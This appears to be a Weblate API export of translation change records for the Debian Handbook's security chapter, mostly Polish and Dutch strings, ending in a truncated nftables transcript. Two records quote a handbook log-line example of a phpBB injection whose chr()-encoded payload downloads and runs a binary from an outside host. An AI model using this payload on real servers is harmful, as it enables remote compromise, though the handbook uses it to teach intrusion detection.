Translation components API.

See the Weblate's Web API documentation for detailed description of the API.

GET /api/components/debian-handbook/14_security/changes/?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "count": 13591,
    "next": "https://hosted.weblate.org/api/components/debian-handbook/14_security/changes/?format=api&page=2",
    "previous": null,
    "results": [
        {
            "unit": null,
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": null,
            "author": null,
            "timestamp": "2024-04-09T15:01:48.843529+02:00",
            "action": 17,
            "target": "",
            "id": 87059785,
            "action_name": "Changes committed",
            "url": "https://hosted.weblate.org/api/changes/87059785/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151482/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:49:57.818059+02:00",
            "action": 37,
            "target": "\nwww.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n      ",
            "id": 86940212,
            "action_name": "Marked for edit",
            "url": "https://hosted.weblate.org/api/changes/86940212/?format=api"
        },
        {
            "unit": null,
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": null,
            "author": null,
            "timestamp": "2024-04-08T14:49:57.738295+02:00",
            "action": 17,
            "target": "",
            "id": 86940211,
            "action_name": "Changes committed",
            "url": "https://hosted.weblate.org/api/changes/86940211/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151482/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/mbiesiad/?format=api",
            "timestamp": "2024-04-08T14:49:26.513012+02:00",
            "action": 7,
            "target": "\nwww.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n      ",
            "id": 86940205,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940205/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151439/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/mbiesiad/?format=api",
            "timestamp": "2024-04-08T14:49:14.859076+02:00",
            "action": 7,
            "target": "Odpowiedzialność prawna",
            "id": 86940200,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940200/?format=api"
        },
        {
            "unit": null,
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": null,
            "author": null,
            "timestamp": "2024-04-08T14:49:05.503175+02:00",
            "action": 17,
            "target": "",
            "id": 86940198,
            "action_name": "Changes committed",
            "url": "https://hosted.weblate.org/api/changes/86940198/?format=api"
        },
        {
            "unit": null,
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": null,
            "author": null,
            "timestamp": "2024-04-08T14:49:05.452603+02:00",
            "action": 17,
            "target": "",
            "id": 86940197,
            "action_name": "Changes committed",
            "url": "https://hosted.weblate.org/api/changes/86940197/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151342/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/mbiesiad/?format=api",
            "timestamp": "2024-04-08T14:48:33.809273+02:00",
            "action": 7,
            "target": "plik <filename>przykład.fc</filename>",
            "id": 86940193,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940193/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151340/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:48:20.967193+02:00",
            "action": 2,
            "target": "Pisanie pliku <filename>.fc</filename>",
            "id": 86940190,
            "action_name": "Translation changed",
            "url": "https://hosted.weblate.org/api/changes/86940190/?format=api"
        },
        {
            "unit": null,
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": null,
            "author": null,
            "timestamp": "2024-04-08T14:48:20.926319+02:00",
            "action": 17,
            "target": "",
            "id": 86940189,
            "action_name": "Changes committed",
            "url": "https://hosted.weblate.org/api/changes/86940189/?format=api"
        },
        {
            "unit": null,
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": null,
            "author": null,
            "timestamp": "2024-04-08T14:48:20.872829+02:00",
            "action": 17,
            "target": "",
            "id": 86940188,
            "action_name": "Changes committed",
            "url": "https://hosted.weblate.org/api/changes/86940188/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151340/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/mbiesiad/?format=api",
            "timestamp": "2024-04-08T14:48:02.906342+02:00",
            "action": 7,
            "target": "Pisanie <filename>.fc</filename> pliku",
            "id": 86940179,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940179/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151280/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/mbiesiad/?format=api",
            "timestamp": "2024-04-08T14:47:28.043385+02:00",
            "action": 7,
            "target": "Zasady",
            "id": 86940171,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940171/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/2457207/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/mbiesiad/?format=api",
            "timestamp": "2024-04-08T14:47:18.077134+02:00",
            "action": 7,
            "target": "<primary>AppArmor</primary>",
            "id": 86940170,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940170/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151087/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:47:10.192374+02:00",
            "action": 2,
            "target": "<emphasis>UWAGA</emphasis> Skrajna polityka",
            "id": 86940142,
            "action_name": "Translation changed",
            "url": "https://hosted.weblate.org/api/changes/86940142/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151087/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:46:47.579968+02:00",
            "action": 7,
            "target": "Skrajna polityka\nEkstremalne polityki",
            "id": 86940137,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940137/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151086/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:46:33.029857+02:00",
            "action": 7,
            "target": "Gdy został określony model ryzyka można zacząć myśleć o zaprojektowaniu rzeczywistej polityki bezpieczeństwa.",
            "id": 86940133,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940133/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151085/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:46:04.262327+02:00",
            "action": 7,
            "target": "Warto również wziąć pod uwagę dodatkowe ograniczenia, gdyż mogą one ograniczyć zakres dostępnych polityk. Jak daleko jesteśmy skłonni się posunąć, aby zabezpieczyć system? To pytanie ma duży wpływ na politykę, którą należy wdrożyć. Odpowiedź jest zbyt często definiowana jedynie w kategoriach kosztów pieniężnych, ale należy wziąć pod uwagę również inne elementy, takie jak ilość niedogodności nałożonych na użytkowników systemu lub spadek obniżenie wydajności.",
            "id": 86940128,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940128/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/19093369/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:44:11.528320+02:00",
            "action": 7,
            "target": "<primary>Bruce Schneier</primary>",
            "id": 86940087,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940087/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151084/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:44:01.779294+02:00",
            "action": 2,
            "target": "Bruce Schneier, światowy ekspert w sprawach bezpieczeństwa (nie tylko komputerowego) próbuje obalić jeden z najważniejszych mitów dotyczących bezpieczeństwa hasłem: „Bezpieczeństwo to proces, nie produkt.” Aktywa podlegające ochronie zmieniają się w czasie, podobnie jak zagrożenia i środki dostępne dla potencjalnych napastników. Nawet jeśli początkowo polityka bezpieczeństwa została doskonale zaprojektowana i wdrożona, nigdy nie należy spoczywać na laurach. Elementy ryzyka ewoluują, a odpowiedź na nie musi się odpowiednio zmieniać.",
            "id": 86940084,
            "action_name": "Translation changed",
            "url": "https://hosted.weblate.org/api/changes/86940084/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151084/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:43:45.701456+02:00",
            "action": 7,
            "target": "Bruce Schneier, światowy ekspert w sprawach bezpieczeństwa (nie tylko komputerowego) próbuje obalić jeden z najważniejszych mitów dotyczących bezpieczeństwa hasłem: \"Bezpieczeństwo to proces, nie produkt\". Aktywa podlegające ochronie zmieniają się w czasie, podobnie jak zagrożenia i środki dostępne dla potencjalnych napastników. Nawet jeśli początkowo polityka bezpieczeństwa została doskonale zaprojektowana i wdrożona, nigdy nie należy spoczywać na laurach. Elementy ryzyka ewoluują, a odpowiedź na nie musi się odpowiednio zmieniać.",
            "id": 86940080,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940080/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151083/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:43:31.801785+02:00",
            "action": 2,
            "target": "<emphasis>UWAGA</emphasis> Stałe przesłuchanie",
            "id": 86940076,
            "action_name": "Translation changed",
            "url": "https://hosted.weblate.org/api/changes/86940076/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151083/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:42:43.463830+02:00",
            "action": 7,
            "target": "<emphasis>NOTE</emphasis> Stałe przesłuchanie.",
            "id": 86940067,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940067/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151082/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:42:34.008142+02:00",
            "action": 7,
            "target": "Termin \"ryzyko\" jest zwyczajowo używany do zbiorczego odniesienia się do tych trzech czynników: co należy chronić, czemu trzeba zapobiec, aby się nie wydarzyło, i kto będzie próbował to zrobić. Modelowanie ryzyka wymaga odpowiedzi na te trzy pytania. Na podstawie tego modelu ryzyka można skonstruować politykę bezpieczeństwa, a następnie wdrożyć ją za pomocą konkretnych działań.",
            "id": 86940065,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940065/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/1151081/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T14:42:23.973457+02:00",
            "action": 7,
            "target": "Ponadto, <emphasis> przed kim</emphasis> próbujemy się chronić? Środki bezpieczeństwa będą zupełnie inne w przypadku ochrony przed literówką popełnioną przez zwykłego użytkownika systemu, niż w przypadku ochrony przed zdeterminowaną grupą napastników.",
            "id": 86940060,
            "action_name": "Suggestion accepted",
            "url": "https://hosted.weblate.org/api/changes/86940060/?format=api"
        },
        {
            "unit": null,
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": null,
            "author": null,
            "timestamp": "2024-04-08T14:40:21.507134+02:00",
            "action": 17,
            "target": "",
            "id": 86940036,
            "action_name": "Changes committed",
            "url": "https://hosted.weblate.org/api/changes/86940036/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/16848799/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T10:08:25.255409+02:00",
            "action": 5,
            "target": "nftables",
            "id": 86916659,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/86916659/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/16848799/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/pl/?format=api",
            "user": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "author": "https://hosted.weblate.org/api/users/paradigm_shift/?format=api",
            "timestamp": "2024-04-08T10:08:25.251988+02:00",
            "action": 45,
            "target": "",
            "id": 86916658,
            "action_name": "Contributor joined",
            "url": "https://hosted.weblate.org/api/changes/86916658/?format=api"
        },
        {
            "unit": null,
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": null,
            "author": null,
            "timestamp": "2024-03-11T12:01:53.238069+01:00",
            "action": 17,
            "target": "",
            "id": 83826063,
            "action_name": "Changes committed",
            "url": "https://hosted.weblate.org/api/changes/83826063/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739272/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-03-10T12:03:28.634657+01:00",
            "action": 5,
            "target": "<primary><emphasis role=\"distribution\">Kali</emphasis></primary>",
            "id": 83741335,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/83741335/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739273/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-03-10T12:01:11.446447+01:00",
            "action": 5,
            "target": "<primary><emphasis role=\"distribution\">Grml</emphasis></primary>",
            "id": 83741274,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/83741274/?format=api"
        },
        {
            "unit": null,
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": null,
            "author": null,
            "timestamp": "2024-02-25T19:02:08.294172+01:00",
            "action": 17,
            "target": "",
            "id": 82270723,
            "action_name": "Changes committed",
            "url": "https://hosted.weblate.org/api/changes/82270723/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/4779360/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:12:11.159161+01:00",
            "action": 5,
            "target": "<primary><command>top</command></primary>",
            "id": 82268623,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268623/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/4779333/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:10:55.864110+01:00",
            "action": 5,
            "target": "auto eth0\niface eth0 inet static\n    address 192.168.0.1\n    network 192.168.0.0\n    netmask 255.255.255.0\n    broadcast 192.168.0.255\n    up /usr/local/etc/arrakis.fw",
            "id": 82268583,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268583/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739129/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:10:42.451796+01:00",
            "action": 2,
            "target": "<primary><command>nft</command></primary>",
            "id": 82268578,
            "action_name": "Translation changed",
            "url": "https://hosted.weblate.org/api/changes/82268578/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/16848727/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:10:37.218357+01:00",
            "action": 5,
            "target": "Syntax van <command>nft</command>",
            "id": 82268570,
            "action_name": "Translation added",
            "url": "https://hosted.weblate.org/api/changes/82268570/?format=api"
        },
        {
            "unit": "https://hosted.weblate.org/api/units/82739128/?format=api",
            "component": "https://hosted.weblate.org/api/components/debian-handbook/14_security/?format=api",
            "translation": "https://hosted.weblate.org/api/translations/debian-handbook/14_security/nl/?format=api",
            "user": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "author": "https://hosted.weblate.org/api/users/5mikachu/?format=api",
            "timestamp": "2024-02-25T17:09:40.476950+01:00",
            "action": 5,
            "target": "<computeroutput># </computeroutput><userinput>iptables-save &gt; iptables-ruleset.txt\n</userinput><computeroutput># </computeroutput><userinput>iptables-restore-translate -f iptables-ruleset.txt\n</userinput><computeroutput>\n# Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022\nadd table ip filter\nadd chain ip filter INPUT { type filter hook input priority 0; policy accept; }\nadd chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }\nadd chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }\nadd chain ip filter DOCKER\nadd chain ip filter DOCKER-ISOLATION-STAGE-1\nadd chain ip filter DOCKER-ISOLATION-STAGE-2\nadd chain ip filter DOCKER-USER\nadd rule ip filter FORWARD counter jump DOCKER-USER\nadd rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1\nadd rule ip filter FORWARD oifname \"docker0\" ct state related,established counter accept\nadd rule ip filter FORWARD oifname \"docker0\" counter jump DOCKER\nadd rule ip filter FORWARD iifname \"docker0\" oifname != \"docker0\" counter accept\nadd rule ip filter FORWARD iifname \"docker0\" oifname \"docker0\" counter accept\nadd rule ip filter DOCKER-ISOLATION-STAGE-1 iifname \"docker0\" oifname != \"docker0\" counter jump DOCKER-ISOLATION-STAGE-2\nadd rule ip filter DOCKER-ISOLATION-STAGE-1 counter return\nadd rule ip filter DOCKER-ISOLATION-STAGE-2 oifname \"docker0\" counter drop\nadd rule ip filter DOCKER-ISOLATION-STAGE-2 counter return\nadd rule ip filter DOCKER-USER counter return\nadd table ip nat\nadd chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }\nadd chain ip nat INPUT { type nat hook input priority 100; policy accept; }\nadd chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }\nadd chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }\nadd chain ip nat DOCKER\nadd rule ip nat PREROUTING fib daddr type local counter jump DOCKER\nadd rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER\nadd rule ip nat POSTROUTING oifname != \"docker0\" ip saddr 172.17.0.0/16 counter masquerade\nadd rule ip nat DOCKER iifname \"docker0\" counter return\n# Completed on Wed Mar 16 22:06:32 2022\n# </computeroutput><userinput>iptables-restore-translate -f iptables-ruleset.txt &gt; ruleset.nft\n</userinput><computeroutput># </computeroutput><userinput>nft -f ruleset.nft\n</userinput><computeroutput># </computeroutput><userinput>nft list ruleset</userinput><computeroutput>\ntable inet filter {\n\tchain input {\n\t\ttype filter hook input priority filter; policy accept;\n\t}\n\n\tchain forward {\n\t\ttype filter hook forward priority filter; policy accept;\n\t}\n\n\tchain output {\n\t\ttype filter hook output priority filter; policy accept;\n\t}\n}\ntable ip nat {\n\tchain DOCKER {\n\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n\t\tiifname \"docker0\" counter packets 0 bytes 0 return\n\t}\n\n\tchain POSTROUTING {\n\t\ttype nat hook postrouting priority srcnat; policy accept;\n\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n\t\toifname != \"docker0\" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade\n\t}\n\n\tchain PREROUTING {\n\t\ttype nat hook prerouting priority dstnat; policy accept;\n\t\tfib daddr type local counter packets 1 bytes 60 jump DOCKER\n\t\tfib daddr type local counter packets 0 bytes 0 jump DOCKER\n\t}\n\n\tchain OUTPUT {\n\t\ttype nat hook output priority -100; policy accept;\n\t\tip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 